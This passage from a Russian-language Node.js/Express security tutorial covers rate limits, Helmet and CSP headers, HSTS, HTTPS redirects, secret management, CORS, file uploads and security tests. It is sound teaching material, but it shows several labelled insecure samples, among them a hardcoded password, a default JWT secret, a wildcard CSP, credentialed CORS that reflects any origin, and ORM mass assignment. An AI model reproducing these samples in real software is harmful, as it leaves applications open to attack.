Запросы обрабатываются с контролируемой скоростью, что сглаживает всплески.
Что ограничивать отдельно
Разные операции имеют разную стоимость и риск:
GET /public/products — относительно высокий лимит
POST /auth/login — строгий лимит
POST /password/reset — строгий лимит
POST /reports/export — очень строгий лимит
POST /search — лимит по вычислительной стоимости
POST /file/upload — лимит по числу и объёмуОдин глобальный лимит не заменяет ограничения чувствительных endpoint.
Secure Headers
Security headers управляют поведением браузера и уменьшают последствия некоторых атак.
Для Express часто используется middleware Helmet:
import express from "express";
import helmet from "helmet";
const app = express();
app.use(helmet());Helmet устанавливает набор защитных заголовков, но его конфигурацию следует проверять под конкретное приложение.
Content-Security-Policy
Ограничивает источники загружаемого содержимого:
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: [
"'self'",
"data:",
"https://images.example.com",
],
connectSrc: [
"'self'",
"https://api.example.com",
],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
formAction: ["'self'"],
},
}),
);Политика должна разрешать только действительно нужные источники.
Не следует добавлять широкие разрешения только для устранения ошибок:
script-src *
script-src 'unsafe-inline'
connect-src *Strict-Transport-Security
HSTS сообщает браузеру, что сайт должен открываться только по HTTPS:
Strict-Transport-Security:
max-age=31536000;
includeSubDomainsЧерез Helmet:
app.use(
helmet.hsts({
maxAge: 31_536_000,
includeSubDomains: true,
preload: false,
}),
);HSTS следует включать после того, как HTTPS надёжно работает на основном домене и нужных поддоменах.
Опция includeSubDomains может нарушить работу поддомена, который ещё не поддерживает HTTPS.
Подача домена в preload-список — отдельное ответственное решение. Ошибочную конфигурацию невозможно быстро отменить у уже обновивших список браузеров.
X-Content-Type-Options
X-Content-Type-Options: nosniffЗапрещает браузеру угадывать тип ресурса вопреки Content-Type.
Сервер должен возвращать правильные MIME-типы:
Content-Type: application/javascript
Content-Type: text/css
Content-Type: application/jsonFrame protection
Защищает от встраивания страницы в чужой iframe и части атак clickjacking.
Современная директива CSP:
Content-Security-Policy:
frame-ancestors 'none'Также может использоваться:
X-Frame-Options: DENYЕсли встраивание разрешено только собственному сайту:
frame-ancestors 'self'Referrer-Policy
Ограничивает информацию, передаваемую в заголовке Referer:
Referrer-Policy: strict-origin-when-cross-originЧерез Helmet:
app.use(
helmet.referrerPolicy({
policy:
"strict-origin-when-cross-origin",
}),
);Чувствительные значения всё равно не следует помещать в URL.
Permissions-Policy
Ограничивает доступ страницы к возможностям браузера:
Permissions-Policy:
camera=(),
microphone=(),
geolocation=()Если приложение не использует камеру, микрофон или геолокацию, доступ можно запретить.
Пример middleware:
app.use((request, response, next) => {
response.setHeader(
"Permissions-Policy",
"camera=(), microphone=(), geolocation=()",
);
next();
});Cross-Origin headers
В зависимости от приложения могут использоваться:
Cross-Origin-Opener-Policy
Cross-Origin-Resource-Policy
Cross-Origin-Embedder-PolicyОни помогают изолировать контекст страницы и контролировать межсайтовое использование ресурсов.
Но строгая конфигурация может нарушить:
- OAuth popup;
- сторонние виджеты;
- загрузку CDN-ресурсов;
- работу iframe;
- некоторые интеграции.
Такие заголовки необходимо тестировать.
Удаление лишней информации
Не следует раскрывать используемый сервер без необходимости.
В Express:
app.disable("x-powered-by");Это не является основной защитой, но уменьшает лишнее раскрытие деталей.
Helmet не решает всё
Helmet не защищает автоматически от:
- SQL injection;
- неправильной авторизации;
- CSRF;
- слабых паролей;
- утечки секретов;
- небезопасной бизнес-логики;
- SSRF;
- уязвимых зависимостей;
- неправильного хранения токенов.
Он устанавливает часть браузерных защитных заголовков и должен использоваться вместе с другими мерами.
Обязательность HTTPS
HTTPS — HTTP поверх TLS.
HTTPS обеспечивает:
- шифрование трафика;
- защиту целостности передаваемых данных;
- подтверждение подлинности сервера через сертификат.
Без HTTPS злоумышленник в сети может:
- прочитать пароль;
- украсть токен;
- изменить ответ сервера;
- внедрить JavaScript;
- подменить форму;
- перенаправить пользователя;
- читать персональные данные.
HTTPS обязателен не только для страницы входа, но и для всего приложения.
Если страница входа защищена, а остальные страницы работают по HTTP, сессионные данные всё равно могут быть перехвачены.
Redirect с HTTP на HTTPS
На внешнем reverse proxy обычно настраивается постоянное перенаправление:
http://example.com
↓
https://example.comЕсли перенаправление выполняет Node.js-приложение за доверенным proxy:
app.set("trust proxy", 1);
app.use((request, response, next) => {
if (request.secure) {
return next();
}
return response.redirect(
308,
`https://${request.headers.host}${request.originalUrl}`,
);
});Значение Host относится к недоверенным данным. В системах с фиксированным доменом безопаснее использовать заранее настроенный canonical host:
const publicOrigin =
"https://app.example.com";
app.use((request, response, next) => {
if (request.secure) {
return next();
}
return response.redirect(
308,
`${publicOrigin}${request.originalUrl}`,
);
});Во многих инфраструктурах redirect надёжнее выполнять на балансировщике или reverse proxy.
Secure cookie
Чувствительные cookie должны использовать Secure:
response.cookie(
"__Host-session",
sessionId,
{
secure: true,
httpOnly: true,
sameSite: "lax",
path: "/",
},
);Secure запрещает отправку cookie по обычному HTTP.
HttpOnly запрещает обычному JavaScript читать cookie.
SameSite ограничивает межсайтовую отправку.
Mixed Content
HTTPS-страница не должна загружать ресурсы по HTTP:
<script src="http://example.com/app.js"></script>Нужно:
<script src="https://example.com/app.js"></script>Смешанное содержимое может быть заблокировано браузером или создать риск подмены.
Особенно опасны по HTTP:
- JavaScript;
- iframe;
- CSS;
- API-запросы;
- WebSocket.
Для защищённого WebSocket используется:
wss://вместо:
ws://TLS внутри инфраструктуры
HTTPS на внешнем балансировщике защищает клиентский трафик до балансировщика.
Далее необходимо оценить внутренний маршрут:
Клиент
↓ HTTPS
Load Balancer
↓ HTTP или HTTPS
ApplicationЕсли внутренняя сеть не является полностью доверенной или трафик проходит через общую инфраструктуру, TLS следует использовать и между внутренними компонентами.
Сертификаты
Практические требования:
- автоматизировать выпуск и обновление;
- следить за сроком действия;
- использовать корректную цепочку сертификатов;
- отключить устаревшие протоколы;
- защищать приватный ключ;
- ограничить доступ к ключу;
- иметь процедуру ротации;
- контролировать ошибки TLS в мониторинге.
Самоподписанный сертификат не подходит для обычного публичного production-сайта без настроенной доверенной инфраструктуры.
Управление секретами
Секреты — данные, владение которыми предоставляет доступ или возможность подписывать, расшифровывать и выполнять привилегированные операции.
Примеры:
- пароль базы данных;
- JWT signing key;
- OAuth client secret;
- API-ключ;
- приватный TLS-ключ;
- ключ шифрования;
- webhook secret;
- refresh-токен;
- пароль администратора;
- credentials облачного провайдера.
Секреты нельзя хранить:
- в исходном коде;
- в Git-репозитории;
- в публичном образе контейнера;
- в frontend bundle;
- в документации;
- в сообщениях об ошибках;
- в обычных логах;
- в скриншотах;
- в URL;
- в клиентском
.env.
Небезопасный код
const database = createDatabase({
host: "db.example.com",
user: "application",
password: "production-password",
});Даже приватный Git-репозиторий не является подходящим хранилищем секретов:
- доступ может быть выдан большому числу людей;
- репозиторий может быть скопирован;
- секрет остаётся в истории;
- резервные копии сохраняют старые версии;
- CI может показывать содержимое;
- репозиторий может стать публичным по ошибке.
Переменные окружения
Базовый вариант:
const databasePassword =
process.env.DATABASE_PASSWORD;
if (!databasePassword) {
throw new Error(
"DATABASE_PASSWORD не настроен",
);
}Переменные окружения лучше исходного кода, но они не являются полноценным секретным хранилищем.
Они могут быть доступны:
- процессам с соответствующими правами;
- диагностическим инструментам;
- конфигурации контейнера;
- журналам CI;
- дампам окружения;
- административным интерфейсам.
В production предпочтительно использовать специализированное хранилище секретов и выдавать приложению минимально необходимый доступ.
.env
Локальный файл:
DATABASE_URL=...
JWT_SECRET=...
OAUTH_CLIENT_SECRET=...должен быть исключён из Git:
.env
.env.local
.env.*.localВ репозиторий можно добавить шаблон без реальных значений:
.env.exampleDATABASE_URL=
JWT_SECRET=
OAUTH_CLIENT_ID=
OAUTH_CLIENT_SECRET=.env.example документирует имена параметров, но не содержит секреты.
Проверка конфигурации
Приложение должно завершать запуск, если обязательный секрет отсутствует:
function requireEnvironmentVariable(name) {
const value = process.env[name];
if (!value) {
throw new Error(
`Переменная ${name} не настроена`,
);
}
return value;
}
const config = {
databaseUrl:
requireEnvironmentVariable(
"DATABASE_URL",
),
jwtSecret:
requireEnvironmentVariable(
"JWT_SECRET",
),
};Нельзя подставлять слабый production-секрет по умолчанию:
const jwtSecret =
process.env.JWT_SECRET ||
"default-secret";Такая конфигурация может незаметно запуститься с известным ключом.
Не отправлять серверные секреты во frontend
Переменные, встроенные в браузерный JavaScript, доступны пользователю.
Например, после сборки значение окажется в загружаемом скрипте:
const secret =
import.meta.env.PUBLIC_API_SECRET;В клиентском приложении допустимы публичные идентификаторы:
OAuth client ID
публичный API endpoint
публичный ключ
идентификатор аналитикиНо не:
OAuth client secret
JWT signing secret
пароль базы
приватный API-ключ
приватный ключЕсли браузеру нужно обратиться к сервису, требующему секрет, запрос должен проходить через backend.
Разделение секретов по окружениям
Следует использовать разные секреты для:
development
test
staging
productionНельзя использовать production credentials в локальной разработке.
Также полезно разделять секреты по сервисам:
User Service → собственные DB credentials
Order Service → собственные DB credentials
Report Service → собственный API keyКомпрометация одного компонента не должна автоматически давать доступ ко всей системе.
Принцип минимальных привилегий
Каждому секрету предоставляются только необходимые полномочия.
Пример:
Read-only сервис получает только SELECT
Сервис загрузки получает доступ только к одному bucket
CI для тестов не получает production credentials
API-ключ ограничивается нужными endpointСекрет также полезно ограничивать:
- по сроку жизни;
- по IP или сети;
- по аудитории;
- по окружению;
- по операциям;
- по объёму ресурсов.
Ротация секретов
Секреты необходимо регулярно менять и уметь менять после инцидента.
Безопасная ротация ключа может включать:
- создание нового ключа;
- одновременную поддержку старого и нового ключа для проверки;
- выпуск новых данных с новым ключом;
- ожидание завершения срока старых токенов;
- отключение старого ключа;
- удаление старого секрета;
- фиксацию операции в аудите.
Для JWT асимметрические ключи часто идентифицируются через kid:
{
alg: "RS256",
typ: "JWT",
kid: "key-2026-09"
}Проверяющая сторона выбирает соответствующий публичный ключ, но всё равно обязана проверять разрешённый алгоритм, issuer, audience и срок действия.
Если секрет попал в Git
Удаления строки в новом коммите недостаточно. Значение остаётся в истории.
Необходимо:
- немедленно отозвать или заменить секрет;
- определить область компрометации;
- проверить журналы использования;
- выпустить новые credentials;
- обновить приложения;
- при необходимости очистить историю;
- уведомить ответственных;
- определить причину утечки;
- добавить автоматическое сканирование.
Главное действие — ротация. Очистка Git-истории без отзыва не делает старый секрет безопасным.
Логирование и маскирование
Нежелательно:
logger.info("Configuration", {
config,
});Если в config есть секреты, они попадут в журнал.
Безопаснее выводить только разрешённые поля:
logger.info("Application configuration loaded", {
environment: config.environment,
publicOrigin: config.publicOrigin,
databaseHost: config.databaseHost,
});Для HTTP-заголовков следует маскировать:
Authorization
Cookie
Set-Cookie
X-API-KeyПример:
function redactHeaders(headers) {
return {
...headers,
authorization: headers.authorization
? "[REDACTED]"
: undefined,
cookie: headers.cookie
? "[REDACTED]"
: undefined,
"x-api-key": headers["x-api-key"]
? "[REDACTED]"
: undefined,
};
}Безопасная обработка ошибок
Подробные ошибки полезны разработчику, но могут раскрывать внутреннее устройство приложения.
Небезопасно:
app.use((error, request, response, next) => {
response.status(500).json({
message: error.message,
stack: error.stack,
query: error.query,
});
});Безопасный обработчик:
app.use((error, request, response, next) => {
logger.error("Request processing failed", {
requestId: request.id,
error,
});
if (error instanceof ValidationError) {
return response.status(422).json({
error: "validation_failed",
message: error.message,
details: error.details,
requestId: request.id,
});
}
return response.status(500).json({
error: "internal_error",
message: "Не удалось обработать запрос",
requestId: request.id,
});
});Клиент получает безопасное сообщение и requestId, а внутренние детали остаются в защищённом журнале.
CORS и безопасность
CORS не является механизмом аутентификации.
Небезопасная конфигурация:
app.use(
cors({
origin: true,
credentials: true,
}),
);Она может отражать произвольный origin при включённых credentials.
Предпочтительна явная проверка:
const allowedOrigins = new Set([
"https://app.example.com",
"https://admin.example.com",
]);
const corsOptions = {
origin(origin, callback) {
if (!origin) {
return callback(null, true);
}
if (!allowedOrigins.has(origin)) {
return callback(
new Error(
"Origin не разрешён",
),
);
}
return callback(null, true);
},
credentials: true,
};Отсутствие Origin характерно, например, для части серверных клиентов. Разрешать такие запросы или нет следует на основании сценария, а не случайно.
Нельзя использовать вместе:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueДля credentialed-запросов необходимо указывать конкретный origin.
Загрузка файлов
Загрузка файлов требует отдельной модели безопасности.
Нельзя доверять:
- имени файла;
- расширению;
Content-Type, присланному клиентом;- размеру из клиентских данных;
- содержимому архива;
- метаданным файла.
Основные меры:
- ограничивать размер;
- ограничивать количество;
- проверять фактический формат;
- генерировать серверное имя;
- хранить вне web root;
- запрещать выполнение загруженных файлов;
- разделять домен загрузок и основной сайт;
- проверять права доступа при скачивании;
- задавать безопасный
Content-Disposition; - применять антивирусную или специализированную проверку, если этого требует риск;
- ограничивать распаковку архивов.
Генерация серверного имени:
import { randomUUID } from "node:crypto";
function createStorageKey(extension) {
const allowedExtensions = new Set([
".jpg",
".png",
".pdf",
]);
if (!allowedExtensions.has(extension)) {
throw new ValidationError(
"Недопустимый тип файла",
);
}
return `${randomUUID()}${extension}`;
}Проверка расширения сама по себе недостаточна. Необходимо проверять содержимое и использовать безопасное хранение.
Базовая конфигурация Express
Пример минимального защитного слоя:
import express from "express";
import helmet from "helmet";
import rateLimit from "express-rate-limit";
const app = express();
app.disable("x-powered-by");
app.set("trust proxy", 1);
app.use(
helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: [
"'self'",
"data:",
"https://images.example.com",
],
connectSrc: ["'self'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
formAction: ["'self'"],
},
},
}),
);
app.use(
express.json({
limit: "100kb",
}),
);
app.use(
express.urlencoded({
extended: false,
limit: "50kb",
}),
);
const apiLimiter = rateLimit({
windowMs: 60 * 1000,
limit: 100,
standardHeaders: true,
legacyHeaders: false,
});
app.use("/api", apiLimiter);Строгий limiter для входа:
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 10,
standardHeaders: true,
legacyHeaders: false,
skipSuccessfulRequests: true,
});
app.post(
"/auth/login",
authLimiter,
authController.login,
);Валидация данных:
app.post(
"/api/products",
authenticate,
requirePermission("product:create"),
async (request, response, next) => {
try {
const input =
validateCreateProduct(
request.body,
);
const product =
await productService.create(input);
return response
.status(201)
.json(product);
} catch (error) {
return next(error);
}
},
);Безопасный обработчик неизвестного маршрута:
app.use((request, response) => {
response.status(404).json({
error: "not_found",
message: "Маршрут не найден",
requestId: request.id,
});
});Обработчик ошибок должен располагаться после маршрутов:
app.use((error, request, response, next) => {
logger.error("Unhandled request error", {
requestId: request.id,
method: request.method,
path: request.path,
error,
});
if (error instanceof ValidationError) {
return response.status(422).json({
error: "validation_failed",
message: error.message,
details: error.details,
requestId: request.id,
});
}
return response.status(500).json({
error: "internal_error",
message: "Внутренняя ошибка",
requestId: request.id,
});
});Это только базовая конфигурация. Она не заменяет безопасную бизнес-логику, авторизацию и проверку инфраструктуры.
Безопасный порядок обработки запроса
Типичный защищённый маршрут:
1. Ограничение размера запроса
2. Rate limiting
3. Аутентификация
4. Проверка CSRF, если используются cookie
5. Синтаксическая валидация
6. Авторизация
7. Проверка принадлежности ресурса
8. Бизнес-валидация
9. Безопасная работа с базой
10. Формирование ответа
11. Безопасное журналированиеПример:
router.patch(
"/orders/:orderId",
orderRateLimiter,
authenticate,
verifyCsrf,
validateOrderId,
validateOrderChanges,
requirePermission("order:update"),
orderController.update,
);При этом окончательная проверка доступа к конкретному заказу должна выполняться рядом с бизнес-операцией:
class UpdateOrder {
constructor(orderRepository) {
this.orderRepository =
orderRepository;
}
async execute({
currentUser,
orderId,
changes,
}) {
const order =
await this.orderRepository.findById(
orderId,
);
if (!order) {
throw new NotFoundError(
"Заказ не найден",
);
}
const canUpdate =
order.userId === currentUser.id ||
currentUser.permissions.includes(
"order:update:any",
);
if (!canUpdate) {
throw new ForbiddenError(
"Недостаточно прав",
);
}
if (order.status !== "new") {
throw new ConflictError(
"Заказ больше нельзя изменить",
);
}
return this.orderRepository.update(
orderId,
changes,
);
}
}Проверка только на уровне маршрута может быть недостаточной, если одна и та же операция вызывается из другого интерфейса.
Тестирование безопасности
Автоматические тесты должны проверять не только успешные сценарии.
Пример набора тестов для ресурса:
Неаутентифицированный пользователь получает 401
Обычный пользователь не может вызвать admin endpoint
Пользователь не может получить чужой ресурс
Пользователь не может изменить владельца ресурса
Неизвестные поля отклоняются или игнорируются
SQL-метасимволы остаются обычными данными
HTML отображается как текст
CSRF-запрос без токена отклоняется
Превышение лимита возвращает 429
Просроченный токен отклоняется
Удалённая роль больше не даёт доступПример теста горизонтального доступа:
const response = await api
.get(`/api/orders/${anotherUsersOrder.id}`)
.set(
"Authorization",
`Bearer ${userAccessToken}`,
);
console.assert(
response.status === 403 ||
response.status === 404,
);Пример теста неизвестного поля:
const response = await api
.post("/api/users")
.send({
email: "anna@example.com",
password: "long-secure-password",
role: "admin",
});
console.assert(
response.body.role !== "admin",
);Частые ошибки
Доверие frontend-валидации
Нельзя:
// Проверка есть только в браузере
if (price >= 0) {
submit();
}Сервер должен независимо проверить значение.
Замена параметризации удалением символов
Нежелательно:
const safeEmail = email.replaceAll(
"'",
"",
);Это не является надёжной защитой от SQL injection.
Нужно использовать параметры SQL.
Универсальная sanitize() для всех контекстов
Нежелательно:
const safeValue = sanitize(input);Непонятно, для какого контекста значение стало безопасным.
Правильная защита определяется местом использования:
SQL → параметры
HTML → экранирование
URL → URL parser + allowlist
Shell → отказ от shellПолный объект запроса передаётся в ORM
Нежелательно:
await orm.user.update({
where: {
id: request.user.id,
},
data: request.body,
});Клиент может передать внутренние поля.
Безопаснее:
const changes = {
displayName:
request.body.displayName,
bio: request.body.bio,
};
await orm.user.update({
where: {
id: request.user.id,
},
data: changes,
});Слишком разрешающий CORS
Нежелательно:
app.use(
cors({
origin: true,
credentials: true,
}),
);Следует использовать явный allowlist.
Отключение CSP из-за ошибок интерфейса
Нежелательно:
Content-Security-Policy:
default-src *
script-src * 'unsafe-inline' 'unsafe-eval'Такой заголовок почти не ограничивает выполнение кода.
Нужно определить, какие ресурсы действительно необходимы, и постепенно ужесточать политику.
Секрет в .env, добавленном в Git
Файл .env не становится безопасным только из-за названия.
Если он добавлен в репозиторий, секрет считается раскрытым и должен быть заменён.
HTTPS только на форме входа
После входа session cookie и персональные данные продолжают передаваться. Поэтому HTTPS нужен для всего приложения.
Rate limiting только на общем API
Общий лимит может быть слишком высоким для входа и слишком низким для публичных ресурсов.
Чувствительные операции требуют отдельных лимитов.
Краткая памятка
OWASP Top 10: 2021:
A01 — Broken Access Control
A02 — Cryptographic Failures
A03 — Injection
A04 — Insecure Design
A05 — Security Misconfiguration
A06 — Vulnerable and Outdated Components
A07 — Identification and Authentication Failures
A08 — Software and Data Integrity Failures
A09 — Security Logging and Monitoring Failures
A10 — Server-Side Request ForgeryЗащита от XSS:
Использовать textContent
Экранировать HTML-вывод
Санитизировать разрешённый HTML
Не использовать eval
Ограничить innerHTML
Настроить CSP
Использовать HttpOnly cookieЗащита от CSRF:
SameSite cookie
CSRF-токен
Проверка Origin
Запрет изменения через GET
Повторное подтверждение критичных операцийЗащита от SQL injection:
Параметризованные запросы
Allowlist динамических столбцов
Безопасный API ORM
Минимальные права базы
Отказ от самостоятельного экранированияВалидация:
Проверять тип
Проверять диапазон
Ограничивать длину
Использовать allowlist
Отклонять неизвестные поля
Ограничивать размер запроса
Повторять проверку на сервереRate limiting:
Отдельные лимиты для login/reset/export/upload
Комбинация IP, пользователя и API-ключа
Общее хранилище для нескольких серверов
Ответ 429 и Retry-After
Мониторинг срабатыванийБазовый Helmet:
import helmet from "helmet";
app.use(helmet());HTTPS:
HTTPS на всём сайте
HTTP → HTTPS redirect
HSTS после проверки инфраструктуры
Secure cookie
Отсутствие mixed content
Контроль сертификатовСекреты:
Не хранить в коде
Не добавлять в Git
Не отправлять во frontend
Не записывать в логи
Разделять по окружениям
Выдавать минимальные права
Регулярно ротировать
Немедленно отзывать после утечкиОсновные правила:
- считать все внешние данные недоверенными;
- проверять права на каждый защищённый ресурс;
- выполнять критические проверки на сервере;
- запрещать доступ по умолчанию;
- отделять данные от команд и запросов;
- использовать параметризованный SQL;
- применять контекстное экранирование;
- не писать собственную криптографию и HTML-санитайзер;
- использовать HTTPS на всём маршруте передачи чувствительных данных;
- ограничивать размер и частоту запросов;
- применять Helmet и настраивать CSP;
- не раскрывать внутренние ошибки клиенту;
- не хранить секреты в репозитории;
- регулярно обновлять зависимости;
- журналировать события безопасности без токенов и паролей;
- повторять важные проверки в CI и production-мониторинге;
- использовать несколько независимых уровней защиты.